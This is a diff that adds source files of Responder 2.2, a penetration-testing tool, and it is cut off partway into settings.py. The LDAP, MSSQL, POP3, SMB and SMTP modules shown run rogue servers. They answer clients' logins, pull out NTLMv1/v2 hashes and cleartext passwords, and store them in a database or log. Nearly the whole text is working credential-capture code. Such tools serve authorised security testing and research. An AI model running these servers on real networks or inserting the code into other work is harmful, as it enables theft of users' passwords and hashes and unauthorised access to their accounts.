+		User         = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
+
+		WriteHash    = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
+
+		SaveToDb({
+			'module': 'LDAP',
+			'type': 'NTLMv1',
+			'client': client,
+			'user': Domain+'\\'+User,
+			'hash': NtHash,
+			'fullhash': WriteHash,
+		})
+	
+	if LMhashLen < 2 and settings.Config.Verbose:
+		print text("[LDAP] Ignoring anonymous NTLM authentication")
+
+def ParseNTLM(data,client):
+	Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
+	Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
+
+	if Search1:
+		NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
+		NTLMChall.calculate()
+		return str(NTLMChall)
+
+	if Search2:
+		ParseLDAPHash(data,client)
+
+def ParseLDAPPacket(data, client):
+	if data[1:2] == '\x84':
+
+		PacketLen        = struct.unpack('>i',data[2:6])[0]
+		MessageSequence  = struct.unpack('<b',data[8:9])[0]
+		Operation        = data[9:10]
+		sasl             = data[20:21]
+		OperationHeadLen = struct.unpack('>i',data[11:15])[0]
+		LDAPVersion      = struct.unpack('<b',data[17:18])[0]
+		
+		if Operation == "\x60":
+
+			UserDomainLen  = struct.unpack('<b',data[19:20])[0]
+			UserDomain     = data[20:20+UserDomainLen]
+			AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
+
+			if AuthHeaderType == "\x80":
+				PassLen   = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
+				Password  = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
+
+				SaveToDb({
+					'module': 'LDAP',
+					'type': 'Cleartext',
+					'client': client,
+					'user': UserDomain,
+					'cleartext': Password,
+					'fullhash': UserDomain+':'+Password,
+				})
+			
+			if sasl == "\xA3":
+				Buffer = ParseNTLM(data,client)
+				return Buffer
+		
+		elif Operation == "\x63":
+			Buffer = ParseSearch(data)
+			return Buffer
+		
+		else:
+			if settings.Config.Verbose:
+				print text('[LDAP] Operation not supported')
+
+# LDAP Server class
+class LDAP(BaseRequestHandler):
+	def handle(self):
+		try:
+			while True:
+				self.request.settimeout(0.5)
+				data = self.request.recv(8092)
+				Buffer = ParseLDAPPacket(data,self.client_address[0])
+
+				if Buffer:
+					self.request.send(Buffer)
+		
+		except socket.timeout:
+			pass

servers/MSSQL.py

@@ -0,0 +1,157 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import struct
+import settings
+
+from SocketServer import BaseRequestHandler
+from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
+from utils import *
+
+class TDS_Login_Packet():
+	def __init__(self, data):
+		
+		ClientNameOff     = struct.unpack('<h', data[44:46])[0]
+		ClientNameLen     = struct.unpack('<h', data[46:48])[0]
+		UserNameOff       = struct.unpack('<h', data[48:50])[0]
+		UserNameLen       = struct.unpack('<h', data[50:52])[0]
+		PasswordOff       = struct.unpack('<h', data[52:54])[0]
+		PasswordLen       = struct.unpack('<h', data[54:56])[0]
+		AppNameOff        = struct.unpack('<h', data[56:58])[0]
+		AppNameLen        = struct.unpack('<h', data[58:60])[0]
+		ServerNameOff     = struct.unpack('<h', data[60:62])[0]
+		ServerNameLen     = struct.unpack('<h', data[62:64])[0]
+		Unknown1Off       = struct.unpack('<h', data[64:66])[0]
+		Unknown1Len       = struct.unpack('<h', data[66:68])[0]
+		LibraryNameOff    = struct.unpack('<h', data[68:70])[0]
+		LibraryNameLen    = struct.unpack('<h', data[70:72])[0]
+		LocaleOff         = struct.unpack('<h', data[72:74])[0]
+		LocaleLen         = struct.unpack('<h', data[74:76])[0]
+		DatabaseNameOff   = struct.unpack('<h', data[76:78])[0]
+		DatabaseNameLen   = struct.unpack('<h', data[78:80])[0]
+
+		self.ClientName   = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
+		self.UserName     = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
+		self.Password     = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
+		self.AppName      = data[8+AppNameOff:8+AppNameOff+AppNameLen*2].replace('\x00', '')
+		self.ServerName   = data[8+ServerNameOff:8+ServerNameOff+ServerNameLen*2].replace('\x00', '')
+		self.Unknown1     = data[8+Unknown1Off:8+Unknown1Off+Unknown1Len*2].replace('\x00', '')
+		self.LibraryName  = data[8+LibraryNameOff:8+LibraryNameOff+LibraryNameLen*2].replace('\x00', '')
+		self.Locale       = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
+		self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
+
+def ParseSQLHash(data, client):
+	SSPIStart     = data[8:]
+
+	LMhashLen     = struct.unpack('<H',data[20:22])[0]
+	LMhashOffset  = struct.unpack('<H',data[24:26])[0]
+	LMHash        = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+	
+	NthashLen     = struct.unpack('<H',data[30:32])[0]
+	NthashOffset  = struct.unpack('<H',data[32:34])[0]
+	NTHash        = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+	
+	DomainLen     = struct.unpack('<H',data[36:38])[0]
+	DomainOffset  = struct.unpack('<H',data[40:42])[0]
+	Domain        = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
+	
+	UserLen       = struct.unpack('<H',data[44:46])[0]
+	UserOffset    = struct.unpack('<H',data[48:50])[0]
+	User          = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
+
+	if NthashLen == 24:
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
+
+		SaveToDb({
+			'module': 'MSSQL', 
+			'type': 'NTLMv1', 
+			'client': client, 
+			'user': Domain+'\\'+User, 
+			'hash': LMHash+":"+NTHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen > 60:
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
+		
+		SaveToDb({
+			'module': 'MSSQL', 
+			'type': 'NTLMv2', 
+			'client': client, 
+			'user': Domain+'\\'+User, 
+			'hash': NTHash[:32]+":"+NTHash[32:], 
+			'fullhash': WriteHash,
+		})
+
+def ParseSqlClearTxtPwd(Pwd):
+	Pwd = map(ord,Pwd.replace('\xa5',''))
+	Pw = []
+	for x in Pwd:
+		Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
+	return ''.join(Pw)
+
+def ParseClearTextSQLPass(data, client):
+
+	TDS = TDS_Login_Packet(data)
+
+	SaveToDb({
+		'module': 'MSSQL', 
+		'type': 'Cleartext', 
+		'client': client,
+		'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName),
+		'user': TDS.UserName, 
+		'cleartext': ParseSqlClearTxtPwd(TDS.Password), 
+		'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password),
+	})
+
+# MSSQL Server class
+class MSSQL(BaseRequestHandler):
+
+	def handle(self):
+		if settings.Config.Verbose:
+			print text("[MSSQL] Received connection from %s" % self.client_address[0])
+	
+		try:
+			while True:
+				data = self.request.recv(1024)
+				self.request.settimeout(0.1)
+
+				# Pre-Login Message
+				if data[0] == "\x12":
+					Buffer = str(MSSQLPreLoginAnswer())
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+				# NegoSSP
+				if data[0] == "\x10":
+					if re.search("NTLMSSP",data):
+						Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
+						Packet.calculate()
+						Buffer = str(Packet)
+						self.request.send(Buffer)
+						data = self.request.recv(1024)
+
+					else:
+						ParseClearTextSQLPass(data,self.client_address[0])
+				
+				# NegoSSP Auth
+				if data[0] == "\x11":
+					ParseSQLHash(data,self.client_address[0])
+
+		except socket.timeout:
+			pass
+			self.request.close()

servers/POP3.py

@@ -0,0 +1,60 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import settings
+
+from utils import *
+from SocketServer import BaseRequestHandler
+from packets import POPOKPacket
+
+# POP3 Server class
+class POP3(BaseRequestHandler):
+
+	def SendPacketAndRead(self):
+		Packet = POPOKPacket()
+		self.request.send(str(Packet))
+		data = self.request.recv(1024)
+
+		return data
+
+	def handle(self):
+		try:
+			data = self.SendPacketAndRead()
+
+			if data[0:4] == "USER":
+				User = data[5:].replace("\r\n","")
+				data = self.SendPacketAndRead()
+
+			if data[0:4] == "PASS":
+				Pass = data[5:].replace("\r\n","")
+
+				SaveToDb({
+					'module': 'POP3', 
+					'type': 'Cleartext', 
+					'client': self.client_address[0], 
+					'user': User, 
+					'cleartext': Pass, 
+					'fullhash': User+":"+Pass,
+				})
+
+				data = self.SendPacketAndRead()
+
+			else:
+				data = self.SendPacketAndRead()
+
+		except Exception:
+			pass

servers/SMB.py

@@ -0,0 +1,396 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import struct
+import settings
+
+from random import randrange
+from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
+from SocketServer import BaseRequestHandler
+from utils import *
+
+# Detect if SMB auth was Anonymous
+def Is_Anonymous(data):
+	SecBlobLen = struct.unpack('<H',data[51:53])[0]
+
+	if SecBlobLen < 260:
+		LMhashLen = struct.unpack('<H',data[89:91])[0]
+		return True if LMhashLen == 0 or LMhashLen == 1 else False
+
+	if SecBlobLen > 260:
+		LMhashLen = struct.unpack('<H',data[93:95])[0]
+		return True if LMhashLen == 0 or LMhashLen == 1 else False
+
+def Is_LMNT_Anonymous(data):
+	LMhashLen = struct.unpack('<H',data[51:53])[0]
+	return True if LMhashLen == 0 or LMhashLen == 1 else False
+
+#Function used to know which dialect number to return for NT LM 0.12
+def Parse_Nego_Dialect(data):
+	Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
+
+	if Dialect[0] == "NT LM 0.12":
+		return "\x00\x00"
+	if Dialect[1] == "NT LM 0.12":
+		return "\x01\x00"
+	if Dialect[2] == "NT LM 0.12":
+		return "\x02\x00"
+	if Dialect[3] == "NT LM 0.12":
+		return "\x03\x00"
+	if Dialect[4] == "NT LM 0.12":
+		return "\x04\x00"
+	if Dialect[5] == "NT LM 0.12":
+		return "\x05\x00"
+	if Dialect[6] == "NT LM 0.12":
+		return "\x06\x00"
+	if Dialect[7] == "NT LM 0.12":
+		return "\x07\x00"
+	if Dialect[8] == "NT LM 0.12":
+		return "\x08\x00"
+	if Dialect[9] == "NT LM 0.12":
+		return "\x09\x00"
+	if Dialect[10] == "NT LM 0.12":
+		return "\x0a\x00"
+	if Dialect[11] == "NT LM 0.12":
+		return "\x0b\x00"
+	if Dialect[12] == "NT LM 0.12":
+		return "\x0c\x00"
+	if Dialect[13] == "NT LM 0.12":
+		return "\x0d\x00"
+	if Dialect[14] == "NT LM 0.12":
+		return "\x0e\x00"
+	if Dialect[15] == "NT LM 0.12":
+		return "\x0f\x00"
+
+#Set MID SMB Header field.
+def midcalc(data):
+    pack=data[34:36]
+    return pack
+
+#Set UID SMB Header field.
+def uidcalc(data):
+    pack=data[32:34]
+    return pack
+
+#Set PID SMB Header field.
+def pidcalc(data):
+    pack=data[30:32]
+    return pack
+
+#Set TID SMB Header field.
+def tidcalc(data):
+    pack=data[28:30]
+    return pack
+
+def ParseShare(data):
+	packet = data[:]
+	a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
+	if a:
+		print text("[SMB] Requested Share     : %s" % a.group(0).replace('\x00', ''))
+
+#Parse SMB NTLMSSP v1/v2
+def ParseSMBHash(data,client):
+	SecBlobLen = struct.unpack('<H',data[51:53])[0]
+	BccLen     = struct.unpack('<H',data[61:63])[0]
+
+	if SecBlobLen < 260:
+		SSPIStart    = data[75:]
+		LMhashLen    = struct.unpack('<H',data[89:91])[0]
+		LMhashOffset = struct.unpack('<H',data[91:93])[0]
+		LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+		NthashLen    = struct.unpack('<H',data[97:99])[0]
+		NthashOffset = struct.unpack('<H',data[99:101])[0]
+
+	else:
+		SSPIStart    = data[79:]
+		LMhashLen    = struct.unpack('<H',data[93:95])[0]
+		LMhashOffset = struct.unpack('<H',data[95:97])[0]
+		LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+		NthashLen    = struct.unpack('<H',data[101:103])[0]
+		NthashOffset = struct.unpack('<H',data[103:105])[0]
+
+	if NthashLen == 24:
+		SMBHash      = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',data[105:107])[0]
+		DomainOffset = struct.unpack('<H',data[107:109])[0]
+		Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
+		UserLen      = struct.unpack('<H',data[113:115])[0]
+		UserOffset   = struct.unpack('<H',data[115:117])[0]
+		Username     = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
+
+		SaveToDb({
+			'module': 'SMB', 
+			'type': 'NTLMv1-SSP', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': SMBHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen > 60:
+		SMBHash      = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',data[109:111])[0]
+		DomainOffset = struct.unpack('<H',data[111:113])[0]
+		Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
+		UserLen      = struct.unpack('<H',data[117:119])[0]
+		UserOffset   = struct.unpack('<H',data[119:121])[0]
+		Username     = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
+
+		SaveToDb({
+			'module': 'SMB', 
+			'type': 'NTLMv2-SSP', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': SMBHash, 
+			'fullhash': WriteHash,
+		})
+
+# Parse SMB NTLMv1/v2
+def ParseLMNTHash(data, client):
+
+	LMhashLen = struct.unpack('<H',data[51:53])[0]
+	NthashLen = struct.unpack('<H',data[53:55])[0]
+	Bcc = struct.unpack('<H',data[63:65])[0]
+	Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
+
+	if NthashLen > 25:
+		FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
+		LmHash = FullHash[:32].upper()
+		NtHash = FullHash[32:].upper()
+		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
+	
+		SaveToDb({
+			'module': 'SMB', 
+			'type': 'NTLMv2', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': NtHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen == 24:
+		NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
+		LmHash = data[65:65+LMhashLen].encode('hex').upper()
+		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
+
+		SaveToDb({
+			'module': 'SMB', 
+			'type': 'NTLMv1', 
+			'client': client, 
+			'user': Domain+'\\'+Username, 
+			'hash': NtHash, 
+			'fullhash': WriteHash,
+		})
+
+def IsNT4ClearTxt(data, client):
+	HeadLen = 36
+
+	if data[14:16] == "\x03\x80":
+		SmbData = data[HeadLen+14:]
+		WordCount = data[HeadLen]
+		ChainedCmdOffset = data[HeadLen+1]
+
+		if ChainedCmdOffset == "\x75":
+			PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
+
+			if PassLen > 2:
+
+				Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
+				User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
+				print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
+				WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
+
+# SMB Server class, NTLMSSP
+class SMB1(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			while True:
+				data = self.request.recv(1024)
+				self.request.settimeout(1)
+
+				if len(data) < 1:
+					break
+
+				##session request 139
+				if data[0] == "\x81":
+					Buffer = "\x82\x00\x00\x00"
+					try:
+					        self.request.send(Buffer)
+						data = self.request.recv(1024)
+					except:
+						pass
+
+				# Negociate Protocol Response
+				if data[8:10] == "\x72\x00":
+					# \x72 == Negociate Protocol Response
+					Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
+					Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
+					Body.calculate()
+		
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+				# Session Setup AndX Request
+				if data[8:10] == "\x73\x00":
+					IsNT4ClearTxt(data, self.client_address[0])
+					
+					# STATUS_MORE_PROCESSING_REQUIRED
+					Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
+					Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
+					Body.calculate()
+		
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(4096)
+
+					# STATUS_SUCCESS
+					if data[8:10] == "\x73\x00":
+						if Is_Anonymous(data):
+							Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
+							Body = SMBSessEmpty()
+
+							Packet = str(Header)+str(Body)
+							Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+							self.request.send(Buffer)
+
+						else:
+							# Parse NTLMSSP_AUTH packet
+							ParseSMBHash(data,self.client_address[0])
+
+							# Send STATUS_SUCCESS
+							Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+							Body = SMBSession2Accept()
+							Body.calculate()
+
+							Packet = str(Header)+str(Body)
+							Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+							self.request.send(Buffer)
+							data = self.request.recv(1024)
+				
+				# Tree Connect AndX Request
+				if data[8:10] == "\x75\x00":
+					ParseShare(data)
+					# Tree Connect AndX Response
+					Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
+					Body = SMBTreeData()
+					Body.calculate()
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+				##Tree Disconnect.
+				if data[8:10] == "\x71\x00":
+					Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Body = "\x00\x00\x00"
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+					
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+				
+				##NT_CREATE Access Denied.
+				if data[8:10] == "\xa2\x00":
+					Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Body = "\x00\x00\x00"
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+				
+				##Trans2 Access Denied.
+				if data[8:10] == "\x25\x00":
+					Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Body = "\x00\x00\x00"
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+				
+				##LogOff.
+				if data[8:10] == "\x74\x00":
+					Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Body = "\x02\xff\x00\x27\x00\x00\x00"
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+		except socket.timeout:
+			pass
+
+# SMB Server class, old version
+class SMB1LM(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			self.request.settimeout(0.5)
+			data = self.request.recv(1024)
+			
+			##session request 139
+			if data[0] == "\x81":
+				Buffer = "\x82\x00\x00\x00"
+				self.request.send(Buffer)
+				data = self.request.recv(1024)
+			
+			##Negotiate proto answer.
+			if data[8:10] == "\x72\x00":
+				head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
+				Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
+				Body.calculate()
+				Packet = str(head)+str(Body)
+				Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+				self.request.send(Buffer)
+				data = self.request.recv(1024)
+			
+			##Session Setup AndX Request
+			if data[8:10] == "\x73\x00":
+				if Is_LMNT_Anonymous(data):
+					head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Packet = str(head)+str(SMBSessEmpty())
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+					self.request.send(Buffer)
+
+				else:
+					ParseLMNTHash(data,self.client_address[0])
+					head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Packet = str(head)+str(SMBSessEmpty())
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+		except Exception:
+			self.request.close()
+			pass

servers/SMTP.py

@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import settings
+
+from utils import *
+from base64 import b64decode, b64encode
+from SocketServer import BaseRequestHandler
+from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
+
+# ESMTP Server class
+class ESMTP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			self.request.send(str(SMTPGreeting()))
+			data = self.request.recv(1024)
+
+			if data[0:4] == "EHLO":
+				self.request.send(str(SMTPAUTH()))
+				data = self.request.recv(1024)
+
+			if data[0:4] == "AUTH":
+				self.request.send(str(SMTPAUTH1()))
+				data = self.request.recv(1024)
+				
+				if data:
+					try:
+						User = filter(None, b64decode(data).split('\x00'))
+						Username = User[0]
+						Password = User[1]
+					except:
+						Username = b64decode(data)
+
+						self.request.send(str(SMTPAUTH2()))
+						data = self.request.recv(1024)
+
+						if data:
+							try: Password = b64decode(data)
+							except: Password = data
+
+					SaveToDb({
+						'module': 'SMTP', 
+						'type': 'Cleartext', 
+						'client': self.client_address[0], 
+						'user': Username, 
+						'cleartext': Password, 
+						'fullhash': Username+":"+Password,
+					})
+
+		except Exception:
+			pass

settings.py

@@ -0,0 +1,203 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import sys
+import socket
+import utils
+import logging
+import ConfigParser
+
+__version__ = 'Responder 2.2'
+
+class Settings:
+	
+	def __init__(self):
+		self.ResponderPATH = os.path.dirname(__file__)
+		self.Bind_To = '0.0.0.0'
+
+	def __str__(self):
+		ret = 'Settings class:\n'
+		for attr in dir(self):
+			value = str(getattr(self, attr)).strip()
+			ret += "    Settings.%s = %s\n" % (attr, value)
+		return ret
+
+	def toBool(self, str):
+		return True if str.upper() == 'ON' else False
+
+	def ExpandIPRanges(self):
+		def expand_ranges(lst):
+			ret = []
+			for l in lst:
+				tab = l.split('.')
+				x = {}
+				i = 0
+				for byte in tab:
+					if '-' not in byte:
+						x[i] = x[i+1] = int(byte)
+					else:
+						b = byte.split('-')
+						x[i] = int(b[0])
+						x[i+1] = int(b[1])
+					i += 2
+				for a in range(x[0], x[1]+1):
+					for b in range(x[2], x[3]+1):
+						for c in range(x[4], x[5]+1):
+							for d in range(x[6], x[7]+1):
+								ret.append('%d.%d.%d.%d' % (a, b, c, d))
+			return ret
+
+		self.RespondTo = expand_ranges(self.RespondTo)
+		self.DontRespondTo = expand_ranges(self.DontRespondTo)
+
+	def populate(self, options):
+
+		if options.Interface is None:
+			print utils.color("Error: -I <if> mandatory option is missing", 1)
+			sys.exit(-1)
+
+		# Config parsing
+		config = ConfigParser.ConfigParser()
+		config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
+
+		# Servers
+		self.HTTP_On_Off     = self.toBool(config.get('Responder Core', 'HTTP'))
+		self.SSL_On_Off      = self.toBool(config.get('Responder Core', 'HTTPS'))
+		self.SMB_On_Off      = self.toBool(config.get('Responder Core', 'SMB'))
+		self.SQL_On_Off      = self.toBool(config.get('Responder Core', 'SQL'))
+		self.FTP_On_Off      = self.toBool(config.get('Responder Core', 'FTP'))
+		self.POP_On_Off      = self.toBool(config.get('Responder Core', 'POP'))
+		self.IMAP_On_Off     = self.toBool(config.get('Responder Core', 'IMAP'))
+		self.SMTP_On_Off     = self.toBool(config.get('Responder Core', 'SMTP'))
+		self.LDAP_On_Off     = self.toBool(config.get('Responder Core', 'LDAP'))
+		self.DNS_On_Off      = self.toBool(config.get('Responder Core', 'DNS'))
+		self.Krb_On_Off      = self.toBool(config.get('Responder Core', 'Kerberos'))
+
+		# Db File
+		self.DatabaseFile    = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
+
+		# Log Files
